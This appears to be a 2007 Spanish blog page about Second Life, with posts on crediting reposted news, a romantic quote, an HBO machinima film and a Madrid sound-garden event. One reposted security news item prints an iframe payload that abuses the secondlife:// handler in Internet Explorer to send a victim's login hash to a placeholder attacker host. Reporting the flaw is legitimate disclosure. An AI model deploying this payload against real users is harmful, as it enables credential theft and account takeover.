Mariam Kidd en Second Life

lunes, 17 de septiembre de 2007

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Y hablando de robos jejeje

Un amigo me ha hecho una sugerencia por si alguien se siente ofendido.Bueno, algunos de mis post han sido extraídos de noticias o otros blogs, si alguno se siente como que le he robado o ultrajado, me lo diga y será mencionado.
El algunos si que he puesto la fuente pero en otros, bueno que decir a los que me conozcan, se me ha ido la pinza. Así que lo dicho, quien se sienta mal que me lo diga, que sus sentimientos malignos serán atendidos. Que entre todos seguimos informando de una forma o otra.
Y como esto queda un poco soso, os deleito con algo que alguien me dijo un día cuando le pregunte que quien era. Lo siento chi@s pero no voy a revelar la fuente, se dice el pecado pero no el pecador. Para el autor: si te sientes mal por mencionar tus palabras y no tu identidad dímelo que te quitaré todas tus penas jajaja.

"Alguien que da todo lo que tiene por una sonrisa...
alguien que puede llegar a amar mas que a si mismo...
alguien con una mansión en su corazón esperando por un princesa para que la habite....
alguien que respeta... que conoce sus limites....
que tiene sus ideas claras y sus metas.... y que no se detiene por nada para conseguirlas... alguien que te hará verdaderamente feliz...
capaz de ir al monte Everest a tomar una estrella y colocarla en un anillo....
montarme en un satélite para amarrar la luna a tu ventana
y hasta quemarme las manos para traerte el sol cuando necesites calor...."
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Robo de identidades en Second Life mediante Explorer

KRIPTÓPOLIS
Según acaba de publicar GNU Citizen (y confirma Sergio Maone, creador de NoScript), nuestro viejo amigo el bug "compartido" (sí, ése sobre el que un preclaro MVP de Microsoft asegura que esta empresa no tiene ninguna responsabilidad) permite que te roben impunemente tu "existencia" en Second Life, un mundo virtual... donde también se hacen negocios reales.
Tan sencillo como hacer que la víctima visite con Explorer una página maliciosa con el siguiente contenido:
((iframe src='secondlife://" -autologin -loginuri "http://web.atacante.com/sl/record-login.php'>
/iframe>))
Se provoca así el arranque del cliente de Second Life, que intenta loguearse automáticamente en la web del atacante. Un script situado en ésta recoge el hash MD5 de la contraseña, que puede ser utilizado directamente para loguearse, o bien pasarse por unas rainbow tables para extraer la contraseña en claro...
Maone lamenta (quizás irónicamente) que esta vez, al tratarse de Explorer, NoScript no pueda protegernos.
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HBO Televisará la primera película hecha en SL

HBO, la cadena de televisión premium de cine de Time Warner, anunció que ha pagado una cantidad de seis cifras por los derechos de emisión de la primera película hecha en Second Life. El director, Douglas Gayeton, Molotov Alta en Second Life.
La película titulada “My Second Life: The video diaries of Molotov Alta” consta de siete episodios. En cada uno se reflejará un aspecto de la cultura del mundo virtual, según HBO.
En el último año, decenas de empresas se han unido al mundo virtual para promoción y presencia corporativa, y Hollywood se ha interesado por el mundo virtual, usando SL para hacer un estudio de grabación virtual. Este proceso se llama machinima.
Más información sobre esta peli http://nwn.blogs.com/nwn/2007/09/second-life-mac.html#more. Está en ingles
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Two Gardens Between Us/Dos Jardines Entre Nosotros

Mundo Second Life.
El Ayuntamiento de Madrid (España) y la Fundación Astroc invitan a todos los avatares a participar en el proyecto "Jardines Sonoros" que se celebra durante la Noche en Blanco de la cultura. El sábado 22 de septiembre, se inaugura en Second Life y en el espacio real la obra "Two Gardens Between Us/Dos Jardines Entre Nosotros" de Mario-Paul Martínez. Desde las 21 h hasta las 03 h (hora española) el jardín situado en Quest I, "Jardín virtual" (180, 189, 28) intercambiará experiencias sonoras y visuales con su referente en la realidad: El jardín de la Fundación Astroc del Paseo de la Castellana en Madrid. Durante estas horas, ambos estadios del conocimiento convivirán interconectados mediante el principio elemental del proyecto "Jardines Sonoros": El sonido. Y el público viandante, avatar y humano, podrá disfrutar de estos acontecimientos en directo a través de filmaciones y pantallas situados a ambos lados de la realidad, mientras pasea rodeado por las resonancias del otro mundo. Se trata de someter la experiencia de inmersión virtual que supone "Second Life" a la palpable pulsión de la realidad, estableciendo un puente comunicativo entre los sonidos e imágenes remotos alojados en la virtualidad y los ecos de la realidad producidos por los visitantes que acudan al jardín. Una serie de micrófonos y webcams capturarán las resonancias que estos emitan y las trasvasarán al universo virtual. Y viceversa; mientras en "Second Life" el usuario experimenta las sensaciones desprendidas en la parcela de la realidad, las impresiones audiovisuales provocadas en la virtualidad se emitirán en el jardín real. Tal conexión se llevará a cabo con pantallas de apoyo que emitirán lo que ocurre en ambas dimensiones. En el jardín de la realidad se contará con dos pantallas de gran tamaño, equivalentes a las situadas en su reflejo de "Second Life", que mostrarán lo que ocurre en el universo virtual. De este modo, podremos observar a los avatares -así se llaman los personajes que se utilizan como alter-ego virtual- llegados de todas partes de la Red, observando el jardín y contemplando a su vez aquello que ocurre en la realidad gracias a las pantallas que ellos también dispondrán en el emplazamiento virtual. Localización del jardín virtual: Quest I, Jardín virtual (180, 189, 28) Localización del jardín real: Jardín de la Fundación Astroc Paseo de la Castellana 53 Madrid. Horario de la obra: Sábado 22 de septiembre de 21h a 03h (horario español)